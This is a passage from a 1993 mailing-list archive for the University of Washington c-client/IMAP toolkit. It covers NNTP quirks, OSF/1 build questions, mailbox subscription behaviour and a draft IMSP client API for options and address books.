93 10:38:10 -0800 Date: Mon, 1 Nov 1993 10:34:40 -0800 (PST) From: Mark Crispin Subject: Re: more c-client sugg's To: Mike Macgirvin Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Mike - In the next version of IMAP toolkit 3.1, half-open IMAP opens will not report the ``Mailbox is empty'' condition. You can make this fix to your own copy by looking for where the message is generated in c-client/imap2.c and adding stream->halfopen to the OR along with stream->silent. Present estimate of a new toolkit 3.1 is later this week. There is a fairly major redesign of mailbox driver selection logic that is almost finished, modulo the handling of empty mailboxes and non-existant INBOXes which still isn't set up perfectly for the new world. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Nov 3 12:34:13 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14855; Wed, 3 Nov 93 12:34:13 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11279; Wed, 3 Nov 93 12:33:45 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from HPP.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11273; Wed, 3 Nov 93 12:33:44 -0800 Received: from camis.Stanford.EDU by HPP.Stanford.EDU (4.1/inc-1.0) id AA13038; Wed, 3 Nov 93 12:33:40 PST Date: Wed, 3 Nov 1993 12:04:53 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: NNTP & [HOLES] To: mrc@camis.stanford.edu Cc: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I'm working with the NNTP stuff in the c-client, and would like to request that the number of [HOLES] found be returned as an element (i.e. a new element) of the MAILSTREAM. Currently, this number is passed back to the application via an mm_notify() message, but as this happens in the process of doing a mail_open(), I don't yet have the return stream pointer in my list of control structures. So there's a catch-22, because until mail_open() returns, I don't have knowledge of the MAILSTREAM which is passed to mm_notify(). Therefore I can't figure out which mailbox reported the holes and set their control structures accordingly. The chicken way out, supplying an allocated MAILSTREAM to mail_open(), isn't guaranteed according to my interpretation of the docs. "an attempt is made to reuse oldstream"; i.e. the attempt could fail, and I could still end up with a new pointer that I have no knowledge of. The information is important, because the number of holes can be in the tens of thousands, while the number of actual messages can be quite low, resulting in the possibility of massive over-allocation of resources. mike From pinedev@shivax2.cac.washington.edu Wed Nov 3 16:02:43 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA20594; Wed, 3 Nov 93 16:02:43 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10764; Wed, 3 Nov 93 16:02:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10758; Wed, 3 Nov 93 16:02:27 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA00308; Wed, 3 Nov 93 16:02:22 -0800 Date: Wed, 3 Nov 1993 15:58:54 -0800 (PST) From: Mark Crispin Subject: re: NNTP & [HOLES] To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mike - The [HOLES] condition should be nearly extinct in the most recent version of c-client, if not totally extinct. No known NNTP server will trigger it today. Make sure you have the version of c-client whose nntpclient.c module tries the XHDR command if LISTGROUP fails. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Nov 3 21:56:52 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA25666; Wed, 3 Nov 93 21:56:52 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19594; Wed, 3 Nov 93 21:56:36 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from HPP.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19588; Wed, 3 Nov 93 21:56:35 -0800 Received: from camis.Stanford.EDU by HPP.Stanford.EDU (4.1/inc-1.0) id AA17980; Wed, 3 Nov 93 21:56:34 PST Date: Wed, 3 Nov 1993 21:36:25 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: re: NNTP & [HOLES] To: Mark Crispin Cc: c-client Interest List In-Reply-To: Mark Crispin's message of Wed, 3 Nov 1993 15:58:54 -0800 (PST): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Mike - > > The [HOLES] condition should be nearly extinct in the > most recent version of c-client, if not totally extinct. No > known NNTP server will trigger it today. Make sure you have > the version of c-client whose nntpclient.c module > tries the XHDR command if LISTGROUP fails. > > -- Mark -- ..Didn't think I was -that- far out of date ;-) Thanks, the holes are gone. I was having nightmares trying to deal with them, so it's a good thing. In the most recent nntpclient.c, though; none of the servers I know of recognize the "MODE READER" command which is used by the c-client on an NNTP open; and the nntp_mopen() call fails if this command is unsuccessful. I imagine this just sets some modal stuff based on who's accessing the server, but it's just a guess, and things seem to work fine here without issuing it. I can't find mention of it in my NNTP docs. Is it dangerous to comment out this line? Pointers to a recent nntp server would be appreciated also. Latest I can find is 1.5.11 which is running; although I was able to find the LISTGROUP patch via gopher. I've heard rumours of 1.6, but gopher can't find it, and archie has been down this evening. mike From pinedev@shivax2.cac.washington.edu Thu Nov 4 15:11:08 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14259; Thu, 4 Nov 93 15:11:08 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18927; Thu, 4 Nov 93 15:10:47 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18913; Thu, 4 Nov 93 15:09:48 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA01075; Thu, 4 Nov 93 15:09:42 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA03300; Thu, 4 Nov 93 15:09:36 -0800 Date: Thu, 4 Nov 1993 14:51:42 -0800 (PST) From: Mark Crispin Subject: MacMS compatibility with IMAP2bis To: IMAP Interest List Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII If all goes well, the next version of the IMAP toolkit will include an imapd that fully supports MacMS, including MacMS' interpretation of the proper behavior of the COPY command. The problem is that MacMS depends upon an older interpretation of the meaning of a COPY command in IMAP2, one that automatically creates a non-existant mailbox instead of giving an error. MacMS uses an undocumented command to trigger special behavior in an IMAP server. I believe I have written the special code that is based upon this trigger that will automatically create non-existant mailboxes when you try to copy to another mailbox (I've asked SUMEX to check it out to be sure that interoperability has been achieved). Unless this undocumented MacMS-only command is used, the IMAP server will do the correct IMAP2bis interpretation of COPY. The behavior of the IMAP2bis APPEND command is not changed. If MacMS is changed to use APPEND, it can be changed to conform to IMAP2bis... ;-) -- Mark -- From pinedev@shivax2.cac.washington.edu Thu Nov 4 15:18:12 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14488; Thu, 4 Nov 93 15:18:12 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18970; Thu, 4 Nov 93 15:17:55 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18964; Thu, 4 Nov 93 15:17:53 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA01088; Thu, 4 Nov 93 15:17:46 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA03324; Thu, 4 Nov 93 15:17:39 -0800 Date: Thu, 4 Nov 1993 15:13:58 -0800 (PST) From: Mark Crispin Subject: re: NNTP & [HOLES] To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Grumble!! ;-) This MODE READER stuff was added a short while back, because it appears that in some NNTP server configurations it's mandatory to get the NNTP server in the right state. In the latest development sources, I've changed things so that it sends the MODE READER command but completely ignores any response from it. I hope to have a new mail/imap.tar.Z in a few days; right now all my sources are very broken. Sorry for the problems. I HATE protocols whose reality is not reflected by the RFC's. Well, this'll just push getting UID support into the IMAP toolkit so the option will exist to punt on NNTP entirely... ;-) -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Nov 19 12:41:32 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14151; Fri, 19 Nov 93 12:41:32 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07956; Fri, 19 Nov 93 12:40:37 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from watsun.cc.columbia.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07950; Fri, 19 Nov 93 12:40:34 -0800 Received: by watsun.cc.columbia.edu (5.59/FCB/jba) id AA07910; Fri, 19 Nov 93 15:40:26 EST Date: Fri, 19 Nov 93 15:40:24 EST From: Ben Fried To: c-client@cac.washington.edu Subject: shared version of c-client? Message-Id: Has anyone done the work to generate a shared version of the c-client library under SunOS? Ben From pinedev@shivax2.cac.washington.edu Tue Nov 30 07:10:54 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA29257; Tue, 30 Nov 93 07:10:54 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19490; Tue, 30 Nov 93 07:10:21 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from dxmint.cern.ch by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19484; Tue, 30 Nov 93 07:10:19 -0800 Received: from afcern.cern.ch by dxmint.cern.ch (5.65/DEC-Ultrix/4.3) id AA23926; Tue, 30 Nov 1993 16:10:11 +0100 Received: by afcern.cern.ch; id AA07824; Tue, 30 Nov 1993 16:10:10 +0100 Date: Tue, 30 Nov 1993 16:03:33 +0100 (MET) From: Sandeep Mangla Subject: Making the C-client on DEC AXP - OSF/1 To: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear C-client developer, I've been trying to make the Xlview distribution ( from Sumex-aim.Stanford.edu ) on my usual platform : a DEC AXP, running OSF/1 v1.3. Evrything makes out of the box except, ... the C-client ! I tried using the SVR4 makefile but again, everything except the os-dependent part (i.e. os_sv4.c ) compiles rightaway. Would you please tell me how to make the C-client on my m/c ? Sincerely, Sandeep Mangla. From pinedev@shivax2.cac.washington.edu Tue Nov 30 09:19:44 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02823; Tue, 30 Nov 93 09:19:44 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20315; Tue, 30 Nov 93 09:19:18 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20309; Tue, 30 Nov 93 09:19:17 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA16932; Tue, 30 Nov 93 09:19:10 -0800 Date: Tue, 30 Nov 1993 09:16:04 -0800 (PST) From: Mark Crispin Subject: re: Making the C-client on DEC AXP - OSF/1 To: Sandeep Mangla Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII There wasn't enough information in your message to determine the cause of your problem. However, c-client has an OSF/1 port. You should be using the OSF makefile, not the SVR4 makefile. I am not surprised to hear that the SV4 port does not build with OSF/1; that is why there's a separate OSF port! The OSF port is in the ANSI sources tree; in the IMAP 3.2 toolkit on ftp.cac.washington.edu (file mail/imap-3.2.tar.Z via anonymous), you will find it in the directory imap-3.2/ANSI/c-client after you uncompress and untar it. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Nov 30 09:28:31 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA03235; Tue, 30 Nov 93 09:28:31 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02183; Tue, 30 Nov 93 09:28:05 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02175; Tue, 30 Nov 93 09:28:03 -0800 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07484; Tue, 30 Nov 93 09:27:56 -0800 Date: Tue, 30 Nov 1993 09:27:54 -0800 (PST) From: David L Miller Subject: Re: Making the C-client on DEC AXP - OSF/1 To: Sandeep Mangla Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The current c-client distribution includes an "osf" port. It is available from ftp.cac.washington.edu in the /mail/imap.tar.Z file. |\ | |\/| David L. Miller dlm@cac.washington.edu (206) 685-6240 |/ |_ | | Software Engineer, Pine Development Team (206) 685-4045 (FAX) University of Washington, Networks & Distributed Computing 4545 15th Ave NE, Seattle WA 98105, USA On Tue, 30 Nov 1993, Sandeep Mangla wrote: > Dear C-client developer, > > I've been trying to make the Xlview distribution ( from > Sumex-aim.Stanford.edu ) on my usual platform : a DEC AXP, > running OSF/1 v1.3. Evrything makes out of the box except, ... > the C-client ! I tried using the SVR4 makefile but again, > everything except the os-dependent part (i.e. os_sv4.c ) compiles > rightaway. > > Would you please tell me how to make the C-client on my m/c ? > > Sincerely, > Sandeep Mangla. > > From pinedev@shivax2.cac.washington.edu Wed Dec 8 10:13:35 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA16094; Wed, 8 Dec 93 10:13:35 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09491; Wed, 8 Dec 93 10:12:35 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09485; Wed, 8 Dec 93 10:12:31 -0800 Received: from mcs-ss1-1.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA03497; Wed, 8 Dec 93 10:12:15 PST Date: Wed, 8 Dec 1993 09:48:19 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: mail_subscribe et al To: mrc@camis.stanford.edu Cc: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII In using mail_subscribe() and friends for the first time (anticipating the day when xlview and pine can use the same support files) I ran across a few anomolies... mail_subscribe() , mail_unsubscribe() : The host component is stripped from the passed mailbox name before adding/removing to/from .mailboxlist -- I guess this is sorta' OK, but in a multpile mailhost world it would be nicer to preserve the name which is passed, host and all. Perhaps this is the reason for IMSP. In XLView we try to host qualify anything that isn't direct file access; so if there's a server connection, there's a host component. Is there any way to consolidate ours and Pine's view of the mailbox world? Is it possible, through recursion, to get the host part added to the file? Such as mail_subscribe(NIL,"{host.domain}{host.domain}mailbox"); or will this recurse on the stream open and leave us right back where we started? (Haven't tried). mail_subscribe_bboard(), mail_unsubscribe_bboard() : Curious as to why we have to strip the leading "*" character so it can be tacked back on again... i.e. let's say I'm trying to subscribe to "*{nntpserver/nntp}alt.sources"; I have to point mail_subscribe_bboard() at "{nntpserver/nntp}alt.sources" so it can tack on an asterisk of its own. Anyway, this works; but I'm just a little puzzled why the extra kludginess is needed. mike From pinedev@shivax2.cac.washington.edu Wed Dec 8 22:14:54 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA06078; Wed, 8 Dec 93 22:14:54 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA13530; Wed, 8 Dec 93 22:14:36 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA13524; Wed, 8 Dec 93 22:14:34 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA28237; Wed, 8 Dec 93 22:14:23 -0800 Date: Wed, 8 Dec 1993 22:10:32 -0800 (PST) From: Mark Crispin Subject: re: mail_subscribe et al To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: mrc@camis.stanford.edu, c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > mail_subscribe() , mail_unsubscribe() : > > The host component is stripped from the passed mailbox name > before adding/removing to/from .mailboxlist I think you are confused. If you give mail_subscribe() an IMAP name it will do a subscription on the *server*, not the client. In other words, mail_subscribe (NIL,"{foo}bar.zap"); will add ``bar.zap'' to the .mailboxlist on host foo. If you want to add an IMAP name to the client subscription list (e.g. as a glue pointer to that IMAP server), you need to use sm_subscribe(). > mail_subscribe_bboard(), mail_unsubscribe_bboard() : > Curious as to why we have to strip the leading "*" character so it can > be tacked back on again... i.e. let's say I'm trying to subscribe to > "*{nntpserver/nntp}alt.sources"; I have to point mail_subscribe_bboard() at > "{nntpserver/nntp}alt.sources" so it can tack on an asterisk of its own. This is going to change, most likely incompatably, due to the deletion of bboards from the IMAP spec at the Houston IETF. From pinedev@shivax2.cac.washington.edu Fri Dec 10 13:10:34 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA20132; Fri, 10 Dec 93 13:10:34 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA23678; Fri, 10 Dec 93 13:10:13 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA23672; Fri, 10 Dec 93 13:10:11 -0800 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.6.4/8.6.4) id QAA27751 for c-client@cac.washington.edu; Fri, 10 Dec 1993 16:10:08 -0500 Received: via switchmail; Fri, 10 Dec 1993 16:10:07 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Fri, 10 Dec 1993 16:08:22 -0500 (EST) Received: via niftymail; Fri, 10 Dec 1993 16:07:53 -0500 (EST) Date: Fri, 10 Dec 1993 16:07:41 -0500 (EST) From: Chris Newman Subject: Proposal for c-client API for IMSP To: c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <755557661.22724.0@nifty.andrew.cmu.edu> Here is my current outline for a c-client API for IMSP/options/address-books. It's designed around the concept of a "SUPPORTSTREAM" which is conceptually equivalent to an IMSP connection. It allows for multiple separate option and address book drivers in an implementation along the lines of c-client's multiple mailbox drivers -- thus allowing for both remote and local storage of options and address books. I've got the basic framework implemented am and working on the IMSP drivers. The option support is based on a the simple key string/value string option functionality provided by IMSP. The address book support is based on IMSP's relatively general address book. The model is that each address book is a set of keys (names) and each key (name) has a set of field-data pairs. This allows users to put phone numbers, snail-mail addresses, etc. into their address books. Distribution-lists are just another address book entry with multiple values in the email field. I'd appreciate it if client implementors would let me know if this should suffice for address book/option support. - Chris Newman ------------------------ *DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT*DRAFT* IMSP client API --------------- by Chris Newman draft 12/10/93 1.0 Status of this document --------------------------- This is a draft of this document, and is subject to change. 1.1 Introduction ---------------- Interactive Mail Support Protocol (IMSP) provides support services for a set of IMAP servers. Some of these services such as options and address books are disjoint from IMAP services. Other services such as the FIND and SUBSCRIBE services are designed to replace similar, but more limited services in IMAP. Because of the latter type of service, it is desirable to have the IMSP client API well integrated with the current c-client IMAP library, preferably in such a way that a new combined c-client/IMSP library can be linked against an existing c-client Mail User Agent (MUA) and automatically take advantage of IMSP's expanded service. When possible, this API will use c-client functionality. For example, IMSP error messages will be displayed using the mm_log callback, and login credentials will be obtained via the mm_login callback. 2.0 Datatypes ------------- 1) A "support stream" structure. It needs to specify address book drivers, option drivers, a list of open address books, a cached mailbox list and a list of c-client MAILSTREAMs. A replacement for the c-client mail_open() will be needed which takes a support stream instead of a MAILSTREAM to recycle. This type will be referred to as "SUPPORTSTREAM". 2) A key-value pair array which is useful for specifying a list of field-data pairs for an address book entry. This structure is made up of two string pointers as follows: typedef struct keyvalue { char *key, *value; } keyvalue; 3) An "address book" access descriptor. This type may refer to either a local file or an IMSP server and IMSP address book name pair. This will be referred to as type "abook". 4) An "address book driver" that contains calls to manage all the address book functions listed below. This will be referred to as type "abookdriver". 5) An "options driver" that contains calls to manage all the option functions listed below. This will be referred to as type "optiondriver". 3.0 IMSP/SUPPORTSTREAM connection control ----------------------------------------- SUPPORTSTREAM *support_new(void) This returns a pointer to a new support stream. void support_done(SUPPORTSTREAM *s); This closes the support stream and releases all memory or other resources associated with it. This will close any associated address book pointers or and possibly MAILSTREAMS. void support_add_adriver(SUPPORTSTREAM *s, abookdriver *d); This adds the specified address book driver to the SUPPORTSTREAM. Returns error status. void support_add_odriver(SUPPORTSTREAM *s, optiondriver *d); This adds the specified option driver to the SUPPORTSTREAM. Returns error status. int imsp_open(SUPPORTSTREAM *s, char *hostname); This attempts to open an IMSP connection to the specified hostname. If a connection is successfully opened, then the IMSP address book and option drivers will automatically be added as the first SUPPORTSTREAM drivers. This will use c-client's mm_login() callback to get the username and password as needed. Returns error status. 4.0 MAILSTREAM support ---------------------- MAILSTREAM *mailbox_open(SUPPORTSTREAM *s, char *name, char *options); This should be used instead of mail_open() in c-client. It will open the specified mailbox using the SUPPORTSTREAM/IMSP as appropriate. This will also set the driver for the MAILSTREAM such that find/create/rename/delete and other routines superceeded by IMSP are handled properly. void mailbox_close(MAILSTREAM *m); This will close and "free" the MAILSTREAM m. The library may keep m open and recycle it on future mailbox_open() calls. 5.0 Options ----------- void mm_option(SUPPORTSTREAM *s, char *option, char *value, int read_write_flag); This is the callback used whenever a "* OPTION" from the server is processed, or an option is read from a local option file. The option and value parameters will point to strings representing the option name and its value respectively. The read_write_flag will be non-zero if the option may be modified by the client. int option_get(SUPPORTSTREAM *s, char *pattern); This will call mm_option for all the options matching the specified pattern (using wildcards as in the IMSP specification). Returns error status. int option_lock(SUPPORTSTREAM *s, char *option); This will lock the specified option, and may call mm_option to update its value. Returns error status. void option_unlock(SUPPORTSTREAM *s, char *option); This will unlock the specified option. int option_set(SUPPORTSTREAM *s, char *option, char *value); This will set the value for the specified option. This may also call mm_option with the new value. Returns error status. 5.1 Discussion of Options ------------------------- The user interface is expected to call option_lock() on read-write options before displaying them in a context where the user may modify them. If a lock fails on an option with "already locked" status the user should be asked if they want to "break the lock" before a call to option_set(). option_lock() is an advisory lock and will not be enforced by the API. Since options are per-user, an "already locked" error indicates the user has another active client showing options in a modifiable context. 6.0 Address books ----------------- void mm_addressbook(SUPPORTSTREAM *s, char *abook_name); This callback is passed the name of a valid address book. void mm_address(abook ab, char *name, fielddata *fdata, int count); This callback is passed the name of an entry in the specified address book, and a list of field/data pairs. The fdata & count arguments are 0 except in response to an explicit fetch command. If fdata is non-zero, mm_address is expected to make sure it is freed. int abook_find(SUPPORTSTREAM *s, char *pattern); This calls mm_addressbook for each address book on the specified connection that matches the pattern and is readable by the current user. Returns error status. abook *abook_open(SUPPORTSTREAM *s, char *abook_name); This "opens" the specified address book, returning an abook structure to access its contents. For IMSP, this will not generate any protocol requests. If abook_name is NULL, the default address book (specified by the IMSP login name of the current user for the IMSP driver) will be used. Returns NULL on failure. void abook_close(abook *ab); This "closes" the specified address book and releases any resources it uses. int abook_getlist(abook *ab); This calls mm_address() for each address in the specified address book. Returns error status. int abook_search(abook *ab, char *pattern, keyvalue *criteria, long number_of_criteria); This calls mm_address() for each address in the specified address book that matches the pattern and criteria. The criteria is specified as defined in the IMSP specification, and may be NULL if number_of_criteria is 0. Returns error status. int abook_fetch(abook *ab, char *name); This calls mm_address() for with the field data pairs for the specified address book entry. Returns error status. int abook_lock(abook *ab, char *name); This places an advisory lock on the specified address book entry. Returns error status. void abook_unlock(abook *ab, char *name); This removes an advisory lock from the specified entry. int abook_store(abook *ab, char *name, keyvalue *field_data, long number_of_field_data_pairs); This stores the field_data in the specified address book entry. number_of_field_data_pairs must be at least 1. Returns error status. int abook_delete(abook *ab, char *name); This deletes the specified address book entry. Returns error status. char *abook_expand(abook *ab, char *name); This will return a CRLF separated list of email addresses for the specified address book entry. It will return NULL on failure. Note that an address book entry need not have any email field. Clients must not use the email field returned by abook_fetch() -- they must call this function. This function may "open" other address books to expand address references via the "members" field of the address book. 6.1 Address book access control ------------------------------- void mm_abookacl(abook *ab, char *identifier, char *rights); Callback used to specify access rights. The "identifier" parameter will be NULL if this is the result of a "MYACL". int abook_getacl(abook *ab, int myrights); If myrights is 1, this will call mm_abookacl with the rights for the current user, otherwise it will call mm_abookacl for each entry in the access control list. Returns error status. int abook_setacl(abook *ab, char *identifier, char *rights); This sets the access control rights for "identifier" to "rights". May call mm_abookacl() with the actual rights set. Returns error status. 6.2 Discussion of Address books ------------------------------- A utility function to convert ACL rights strings to/from bit-vectors will be provided. The user interface is expected to call abook_lock() before displaying the contents of an address book entry is a context where the user may modify it. From pinedev@shivax2.cac.washington.edu Wed Dec 15 09:32:06 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA01608; Wed, 15 Dec 93 09:32:06 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08391; Wed, 15 Dec 93 11:33:25 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Lindy.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08385; Wed, 15 Dec 93 11:33:24 -0800 Received: from mac-treister.stanford.edu by lindy.Stanford.EDU (4.1/4.7); Wed, 15 Dec 93 11:33:23 PST Date: Wed, 15 Dec 93 11:33:33 -0800 From: Adam Treister To: c-client@cac.washington.edu Subject: Cross Server Message Transfer Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Has anyone implemented a client which can move/copy messages between folders on different machines (including the client)? The current calls take a path but not a host. I can't imagine its too hard for the client to fetch and then append, but I want to do it in on the c-client level, so its usable by all and transparent to the MUA whether the folder is local, remote etc. Should the arguments be URLs? Adam Treister From pinedev@shivax2.cac.washington.edu Wed Dec 15 13:02:49 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08517; Wed, 15 Dec 93 13:02:49 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA23681; Wed, 15 Dec 93 15:36:07 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA23675; Wed, 15 Dec 93 15:36:05 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA01445; Wed, 15 Dec 93 15:35:58 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA08662; Wed, 15 Dec 93 15:35:51 -0800 Date: Wed, 15 Dec 1993 14:20:09 -0800 (PST) From: Mark Crispin Subject: re: Cross Server Message Transfer To: Adam Treister Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Adam - Pine offers the capability of transfer of messages between folders on different machines, including third-party transfers (IMAP server to another IMAP server). As you surmised, this is done by a client fetch and then an append. This technique always works, no matter where the source and destination may be. copy/move only work under the following two conditions: 1) if the source mailbox is local, then the destination must also be local and of the same folder type (driver) as the source. 2) if the source mailbox is remote, then: 2a) if the destination is specified as local, it is local to the source (not to the client) and may be subject to folder format considerations (as with the local source case). 2b) if the 